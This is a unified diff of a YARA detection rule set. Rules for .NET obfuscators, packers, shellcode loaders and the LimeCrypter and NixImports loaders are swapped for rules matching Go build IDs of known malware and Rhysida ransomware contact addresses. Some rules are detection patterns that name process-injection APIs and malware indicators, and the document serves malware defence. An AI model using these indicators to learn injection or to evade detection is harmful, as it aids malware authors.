+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Snatch : FILE
 {
 	meta:
-		description = "Detects Naming Pattern used by ConfuserEx. ConfuserEx is a widely used open source obfuscator often found in malware"
-		author = "Jonathan Peters"
-		id = "2b57f135-9d9d-5401-be29-a1053f4249ec"
-		date = "2024-01-03"
-		modified = "2024-01-09"
-		reference = "https://github.com/yck1509/ConfuserEx/tree/master"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_confuserex.yar#L1-L21"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "2f67f590cabb9c79257d27b578d8bf9d1a278afa96b205ad2b4704e7b9a87ca7"
-		logic_hash = "f28f3bd61c6f257cc622f6f323a5b5113d7d7b79ce8b852df02c42af22ecf033"
-		score = 50
-		quality = 80
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "6ab6b7bc-c905-5ff9-8059-a2d512ba13b3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1600-L1610"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5a19c791ed0d829c4c97e35cfa604a8716bad3f02632712903d765db95ba87f6"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "mscoree.dll" ascii
-		$s2 = "mscorlib" ascii
-		$s3 = "System.Private.Corlib" ascii
-		$s4 = "#Strings" ascii
-		$s5 = { 5F 43 6F 72 [3] 4D 61 69 6E }
-		$name_pattern = { E2 ( 80 8? | 81 AA ) E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 80 AE}
+		$s1 = "Go build ID: \"8C2VvDTH-MuUPx8tL42E/PWF9iuE2j_Zt0ANsTlty/c64swZ5TtuaIpHuEFmga/6sS0KWNryc-YAduDnWWO\"" ascii
+		$s2 = "Go build ID: \"UBrfJ_wztDfCHWakqvlV/LhzfkJwvKFrNhKCHtU9_/sveCupt8GVbvu6WZiyA-/GcimfL_TPl6FTPPriBDr\"" ascii
+		$s3 = "Go build ID: \"5zCy9jt7UZaIs5YPk4tt/1Yt6v7gCpDG---pRFyW-/7729nLSeKJik31ftz_Ve/Z5EVG3lWak3ynxNrJ4ih\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 2 of ($s*) and #name_pattern>5
+		uint16(0)==0x5a4d and 1 of them
 }
-rule COD3NYM_SUSP_OBF_NET_Confuserex_Packer_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Godownloader : FILE
 {
 	meta:
-		description = "Detects binaries packed with ConfuserEx compression packer. This feature compresses and encrypts the actual image into a stub that unpacks and loads the original image on runtime."
-		author = "Jonathan Peters"
-		id = "cd53a62f-62e3-58a1-8bc3-7f40949e3f00"
-		date = "2024-01-09"
-		modified = "2024-01-09"
-		reference = "https://github.com/yck1509/ConfuserEx/tree/master"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_confuserex.yar#L23-L42"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "2570bd4c3f564a61d6b3d589126e0940af27715e1e8d95de7863579fbe25f86f"
-		logic_hash = "43aee4c01b47ca04ee516d418939ec3e90fd08566f2a4b501c4698b7f9e0225d"
-		score = 70
-		quality = 80
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "da53c062-4a55-543d-b2b6-52acdf13febc"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1612-L1622"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e0f5ee6ade4608a8b5c5bd02bf5aef0fcb9cb1fe1cc3a9d00b1ace91e5d0d33f"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "GCHandle" ascii
-		$s2 = "GCHandleType" ascii
-		$op1 = { 5A 20 89 C0 3F 14 6A 5E [8-20] 5A 20 FB 56 4D 44 6A 5E 6D 9E }
-		$op2 = { 20 61 FF 6F 00 13 ?? 06 13 ?? 16 13 [10-20] 20 1F 3F 5E 00 5A}
-		$op3 = { 16 91 7E [3] 04 17 91 1E 62 60 7E [3] 04 18 91 1F 10 62 60 7E [3] 04 19 91 1F 18 62 }
+		$s1 = "Go build ID: \"1OzJqWaH4h1VtrLP-zk8/G9w32ha7_ziW1Fa-0Byj/gLtfhbXZ6i_W0e5e_tFF/ekG0n9hOcZjmwzRQnRqC\"" ascii
+		$s2 = "Go build ID: \"kKxyj14l4NhGbuhOgzef/ab_yr_pUn6q2idYdoBhn/hFAjO_Yxc_rN6mHFuHM9/SmS3qmOyJBc_4xV_qg3B\"" ascii
+		$s3 = "Go build ID: \"MiW7XJnQsBXxlBHro8GW/HMqQknRgJg-mCXomgFRt/88ccKMrfA_s6AcOJs3aM/jSUAU_l3RrMzlV6ANEYE\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and 2 of ($op*)
+		uint16(0)==0x5a4d and 1 of them
 }
-import "pe"
-
-rule COD3NYM_SUSP_OBF_NET_Reactor_Native_Stub_Jan24
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Ranumbot : FILE
 {
 	meta:
-		description = "Detects native packer stub for version 4.5-4.7 of .NET Reactor. A pirated copy of version 4.5 of this commercial obfuscation solution is used by various malware families like BlackBit, RedLine, AgentTesla etc."
-		author = "Jonathan Peters"
-		id = "529dce88-a81d-5a98-aa6c-1f1b739ad074"
-		date = "2024-01-05"
-		modified = "2024-01-12"
-		reference = "https://notes.netbytesec.com/2023/08/understand-ransomware-ttps-blackbit.html"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_net_reactor.yar#L3-L16"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "6e8a7adf680bede7b8429a18815c232004057607fdfbf0f4b0fb1deba71c5df7"
-		logic_hash = "287273babd3cd6bc1986b018367317019f2249851a2c19fc83857f7ff0b90b54"
-		score = 70
-		quality = 80
-		tags = ""
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "f368cd9d-f974-56cf-a2b5-bd300f30cedc"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1624-L1633"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "c3d0ba55ca2be1b11ebf1b82490c5d26f2b35958b31a7e55892e27f24bf4118f"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$op = {C6 44 24 18 E0 C6 44 24 19 3B C6 44 24 1A 8D C6 44 24 1B 2A C6 44 24 1C A2 C6 44 24 1D 2A C6 44 24 1E 2A C6 44 24 1F 41 C6 44 24 20 D3 C6 44 24 21 20 C6 44 24 22 64 C6 44 24 23 06 C6 44 24 24 8A C6 44 24 25 F7 C6 44 24 26 3D C6 44 24 27 9D C6 44 24 28 D9 C6 44 24 29 EE C6 44 24 2A 15 C6 44 24 2B 68 C6 44 24 2C F4 C6 44 24 2D 76 C6 44 24 2E B9 C6 44 24 2F 34 C6 44 24 30 BF C6 44 24 31 1E C6 44 24 32 E7 C6 44 24 33 78 C6 44 24 34 98 C6 44 24 35 E9 C6 44 24 36 6F C6 44 24 37 B4}
+		$s1 = "Go build ID: \"hOhuOA4W60aBBRoFQTDA/dl9DuLAgEcabYGK6ZT2t/ECsse3630jV_957OqqK3/ZRA_JRPFzxutK16zlEcM\"" ascii
+		$s2 = "Go build ID: \"NivDrAudWE-E6xtBXeww/3pv6fDzDqt4v0YxoTkPt/8vd79TNE-9Bt38ftxf_V/_GNqnqEUsRf-WTSmn8dM\"" ascii
 
 	condition:
-		for any i in (0..pe.number_of_resources-1) : (pe.resources[i].name_string=="_\x00_\x00") and $op
+		uint16(0)==0x5a4d and 1 of them
 }
-import "pe"
-
-rule COD3NYM_SUSP_OBF_NET_Reactor_Indicators_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Banload : FILE
 {
 	meta:
-		description = "Detects indicators of .NET Reactors managed obfuscation. Reactor is a commercial obfuscation solution, pirated versions are often abused by threat actors."
-		author = "Jonathan Peters"
-		id = "8dc07bbd-cbeb-5214-a27a-555a0d396197"
-		date = "2024-01-09"
-		modified = "2024-01-12"
-		reference = "https://www.eziriz.com/dotnet_reactor.htm"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_net_reactor.yar#L18-L34"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "be842a9de19cfbf42ea5a94e3143d58390a1abd1e72ebfec5deeb8107dddf038"
-		logic_hash = "40a03eb487e2c02a032c4bfb51580dbb764e0a49ceee5ae92c54a5ee3ede9696"
-		score = 65
-		quality = 80
+		description = "Detects Golang Build IDs in known bad samples"
+		author = "ditekSHen"
+		id = "5955afd5-f26f-5df1-b355-b8f168b694b0"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1635-L1643"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "534de1ce161e5e27f380f96b83630aa75031f268658aa7e8ff8ecce82ed5d4cd"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$ = { 33 7B 00 [9] 00 2D 00 [9] 00 2D 00 [9] 00 2D 00 [9] 00 7D 00 }
-		$ = { 3C 50 72 69 76 61 74 65 49 6D 70 6C 65 6D 65 6E 74 61 74 69 6F 6E 44 65 74 61 69 6C 73 3E 7B [8] 2D [4] 2D [4] 2D [4] 2D [12] 7D }
-		$ = { 3C 4D 6F 64 75 6C 65 3E 7B [8] 2D [4] 2D [4] 2D [4] 2D [12] 7D }
+		$s1 = "Go build ID: \"a3629ee6ab610a57f242f59a3dd5e5f6de73da40\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and 1 of them
 }
-rule COD3NYM_SUSP_NET_Shellcode_Loader_Indicators_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Hive : FILE
 {
 	meta:
-		description = "Detects indicators of shellcode loaders in .NET binaries"
-		author = "Jonathan Peters"
-		id = "606a444a-b894-5076-8d5e-1716bbfa588e"
-		date = "2024-01-11"
-		modified = "2024-01-12"
-		reference = "https://github.com/Workingdaturah/Payload-Generator/tree/main"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/suspicious_indicators.yar#L1-L22"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "c48752a5b07b58596564f13301276dd5b700bd648a04af2e27d3f78512a06408"
-		logic_hash = "28267eb54a4108924df57512bbae9f47f51fd4860b3cf93c014d73b0d4b2dec2"
-		score = 65
-		quality = 80
+		description = "Detects Golang Build IDs in Hive ransomware"
+		author = "ditekSHen"
+		id = "7d7f7757-de7b-52a7-aab0-8fda38a86fd1"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1645-L1653"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f311a3661ea3a26ebca6cd283d1e219011acfdfbb13fa8b919ca2724b9f4aae7"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$sa1 = "VirtualProtect" ascii
-		$sa2 = "VirtualAlloc" ascii
-		$sa3 = "WriteProcessMemory" ascii
-		$sa4 = "CreateRemoteThread" ascii
-		$sa5 = "CreateThread" ascii
-		$sa6 = "WaitForSingleObject" ascii
-		$x = "__StaticArrayInitTypeSize=" ascii
+		$s1 = "Go build ID: \"XDub7DGmWVQ2COC6W4If/XHMqRPf2lnJUiVkG1CR6/u_MaUU0go2UUmLb_INuv/WrZSyz-WMW1st_NaM935\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 3 of ($sa*) and #x==1
+		uint16(0)==0x5a4d and 1 of them
 }
-rule COD3NYM_SUSP_OBF_NET_Eazfuscator_String_Encryption_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Nodachi : FILE
 {
 	meta:
-		description = "Detects .NET images obfuscated with Eazfuscator string encryption. Eazfuscator is a widely used commercial obfuscation solution used by both legitimate software and malware."
-		author = "Jonathan Peters"
-		id = "09a400f5-e837-58c2-9b51-9213c8ab0883"
-		date = "2024-01-01"
-		modified = "2024-01-03"
-		reference = "https://www.gapotchenko.com/eazfuscator.net"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_eazfuscator.yar#L1-L28"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "3a9ee09ed965e3aee677043ba42c7fdbece0150ef9d1382c518b4b96bbd0e442"
-		logic_hash = "5f3f3358e3cfb274aa2e8465dde58a080f9fb282aa519885b9d39429521db6d9"
-		score = 50
-		quality = 80
+		description = "Detects Golang Build IDs in Nodachi"
+		author = "ditekSHen"
+		id = "9d578768-7995-5fb0-8bf1-9c2221cdef80"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1655-L1666"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "177269623e0f3850c37c6b203d9a637fa92c0ed3fa823cc8d885f28cb383bf7d"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$sa1 = "StackFrame" ascii
-		$sa2 = "StackTrace" ascii
-		$sa3 = "Enter" ascii
-		$sa4 = "Exit" ascii
-		$op1 = { 11 ?? 18 91 11 ?? 1? 91 1F 10 62 60 11 ?? 1? 91 1E 62 60 11 ?? 17 91 1F 18 62 60 }
-		$op2 = { D1 28 ?? 00 00 0A 0? 1F 10 63 D1 }
-		$op3 = { 1F 10 63 D1 28 [3] 0A }
-		$op4 = { 7B ?? 00 00 04 16 91 02 7B ?? 00 00 04 17 91 1E 62 60 02 7B ?? 00 00 04 18 91 1F 10 62 60 02 7B ?? 00 00 04 19 91 1F 18 62 60 }
+		$s1 = "Go build ID: \"3AAyhKK0wFfCYLdz5oRV/zKyiBHCsAEyDIWhaW5AW/Rb8NLT3q8A2OLm6izDGP/8G9k_gjOTX_PXKna_IMj\"" ascii
+		$s2 = "Go build ID: \"-eyFd8kbpwxUsutpqZn_/vqzQXX5Ra4qk1XHoqocW/wd-6gLzQKZyEyhVp7qOj/Jr14hyc7pLLgeIZNbfLD\"" ascii
+		$s3 = "Go build ID: \"xDSqp4KGmd0SAf5irMGh/-kA7PGjKoJcvCgsZDStn/lHeQ1LQOVyQB2NnwIwFP/-D5oEBc23ND7IGLTESdM\"" ascii
+		$s4 = "Go build ID: \"67RcwNspLH__QJrElMcB/zMJf7Go1s0ZoXqd30Lb_/NaJl4rfcuLEG5LeZ-Y4k/MzFNvW79enRRdx3LmA47\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of ($sa*) and (2 of ($op*) or #op1==2)
+		uint16(0)==0x5a4d and 1 of them
 }
-rule COD3NYM_SUSP_OBF_NET_Eazfuscator_Virtualization_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Gobrut : FILE
 {
 	meta:
-		description = "Detects .NET images obfuscated with Eazfuscator virtualization protection. Eazfuscator is a widely used commercial obfuscation solution used by both legitimate software and malware."
-		author = "Jonathan Peters"
-		id = "d39bba65-1220-5b60-b919-1bd88f1bc7f1"
-		date = "2024-01-02"
-		modified = "2024-01-03"
-		reference = "https://www.gapotchenko.com/eazfuscator.net"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_eazfuscator.yar#L30-L51"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "53d5c2574c7f70b7aa69243916acf6e43fe4258fbd015660032784e150b3b4fa"
-		logic_hash = "7a647973eae9163cb5b82c27141956da58f4a9fd2ad51cf82523b93536cfaea3"
-		score = 60
-		quality = 80
+		description = "Detects Golang Build IDs in GoBrut"
+		author = "ditekSHen"
+		id = "65953012-fc84-50d0-b769-64df66d8a54b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1668-L1676"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "40c305f019cb31222fa75a24315764cb5e5356afaa72aefb59916d615a8fca28"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$sa1 = "BinaryReader" ascii
-		$sa2 = "GetManifestResourceStream" ascii
-		$sa3 = "get_HasElementType" ascii
-		$op1 = { 28 [2] 00 06 28 [2] 00 06 72 [2] 00 70 ?? 1? 2D 0? 26 26 26 26 2B }
-		$op2 = { 7E [3] 04 2D 3D D0 [3] 02 28 [3] 0A 6F [3] 0A 72 [3] 70 6F [3] 0A 20 80 00 00 00 8D ?? 00 00 01 25 D0 [3] 04 28 [3] 0A 28 [3] 06 28 [3] 06 80 [3] 04 7E [3] 04 2A }
-		$op3 = { 02 20 [4] 1F 09 73 [4] 7D [3] 04 }
+		$s1 = "Go build ID: \"sf_2_ylcjquGBe4mQ99L/aPvdLbM2z9HfoDN3RazG/8bhYeVA67N-ifbDYCDJe/UZzCu_EFL9f10gSfO4L0\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of ($sa*) and 2 of ($op*)
+		uint16(0)==0x5a4d and 1 of them
 }
-rule COD3NYM_MAL_NET_Niximports_Loader_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_Gobuildid_Biopassdropper : FILE
 {
 	meta:
-		description = "Detects open-source NixImports .NET malware loader. A stealthy loader using dynamic import resolving to evade static detection"
-		author = "Jonathan Peters"
-		id = "f36ad127-4c4b-5b7e-a13c-bfb9d222a438"
-		date = "2024-01-12"
-		modified = "2024-01-12"
-		reference = "https://github.com/dr4k0nia/NixImports/tree/master"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/mal/mal_net_niximports_loader.yar#L1-L22"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "dd3f22871879b0bc4990c96d1de957848c7ed0714635bb036c73d8a989fb0b39"
-		logic_hash = "e41d7f4cb46aa0baa87d3024e0550efe5058ca49d908bbd34197431c7c054e58"
-		score = 80
-		quality = 80
+		description = "Detects Golang Build IDs in BioPass dropper"
+		author = "ditekSHen"
+		id = "b82d34d9-7774-5f99-9d76-b5426e015981"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1678-L1686"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "3b586e886b9f901dde1c73aa07ce0d45e4ff417459f298094359ec1c1e02e522"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$op1 = { 1F 0A 64 06 1F 11 62 60 }
-		$op2 = { 03 20 4D 5A 90 00 94 4B 2A }
-		$op3 = { 20 DE 7A 1F F3 20 F7 1B 18 BC }
-		$op4 = { 20 CE 1F BE 70 20 DF 1F 3E F8 14 }
-		$sa1 = "OffsetToStringData" ascii
-		$sa2 = "GetRuntimeMethods" ascii
-		$sa3 = "netstandard" ascii
+		$s1 = "Go build ID: \"OS0VlkdEIlcl3WDDr9Za/_oVwEipaaX6V4mEEYg2V/PytlyeIYgV65maz4wT2Y/IQvgbHv3bbLV42i10qq2\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of ($sa*) and 2 of ($op*)
+		uint16(0)==0x5a4d and 1 of them
 }
-rule COD3NYM_MAL_NET_Limecrypter_Runpe_Jan24 : FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Rhysida
 {
 	meta:
-		description = "Detects LimeCrypter RunPE module. LimeCrypter is an open source .NET based crypter and loader commonly used by threat actors"
-		author = "Jonathan Peters"
-		id = "06ecd638-0102-5762-b363-fdc390dda04b"
-		date = "2024-01-16"
-		modified = "2024-01-16"
-		reference = "https://github.com/NYAN-x-CAT/Lime-Crypter/tree/master"
-		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/mal/mal_net_limecrypter_runpe.yar#L1-L22"
-		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
-		hash = "bcc8c679acfc3aabf22ebdb2349b1fabd351a89fd23a716d85154049d352dd12"
-		logic_hash = "b01a68c60d62cf94ef16340316acb9b96d1e671c372559b86a8e6a5d8e80f7d9"
-		score = 80
-		quality = 80
-		tags = "FILE"
+		description = "Detects files referencing identities associated with Rhysida ransomware"
+		author = "ditekShen"
+		id = "7ee0fb41-9267-5b65-ada3-229f2e390da6"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1688-L1697"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e3e07bab2982a30a5372e6708ede6707d132d410aa5b5b1a29bdb5d06910a88e"
+		score = 75
+		quality = 71
+		tags = ""
 
 	strings:
-		$op1 = { 1F 1A 58 1F 1A 58 28 }
-		$op2 = { 20 B3 00 00 00 8D ?? 00 00 01 13 ?? 11 ?? 16 20 02 00 01 00 }
-		$op3 = { 11 0? 11 0? 20 00 30 00 00 1F 40 28 ?? 00 00 06 }
-		$op4 = { 6E 20 FF 7F 00 00 6A FE 02 }
-		$s1 = "RawSecurityDescriptor" ascii
-		$s2 = "CommonAce" ascii
+		$s1 = "SethZemlak@onionmail.org" ascii wide nocase
+		$s2 = "JacquieKunze@onionmail.org" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and 2 of ($op*)
+		any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: craiu
- * Repository: https://github.com/craiu/yararules
- * Retrieval Date: 2024-08-04
- * Git Commit: 23cf0ca22021fa3684e180a18416b9ae1b695243
- * Number of Rules: 13
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- *                     GNU GENERAL PUBLIC LICENSE
-                       Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-                            Preamble
-
-  The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
-  The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works.  By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users.  We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors.  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
-  To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights.  Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received.  You must make sure that they, too, receive
-or can get the source code.  And you must show them these terms so they
-know their rights.
-
-  Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
-  For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software.  For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
-  Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so.  This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software.  The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable.  Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products.  If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
-  Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary.  To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-                       TERMS AND CONDITIONS
-
-  0. Definitions.
-
-  "This License" refers to version 3 of the GNU General Public License.
-
-  "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
-  "The Program" refers to any copyrightable work licensed under this
-License.  Each licensee is addressed as "you".  "Licensees" and
-"recipients" may be individuals or organizations.
-
-  To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy.  The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
-  A "covered work" means either the unmodified Program or a work based
-on the Program.
-
-  To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy.  Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
-  To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies.  Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
-  An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License.  If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
-  1. Source Code.
-
-  The "source code" for a work means the preferred form of the work
-for making modifications to it.  "Object code" means any non-source
-form of a work.
-
-  A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
-  The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form.  A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
-  The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities.  However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work.  For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
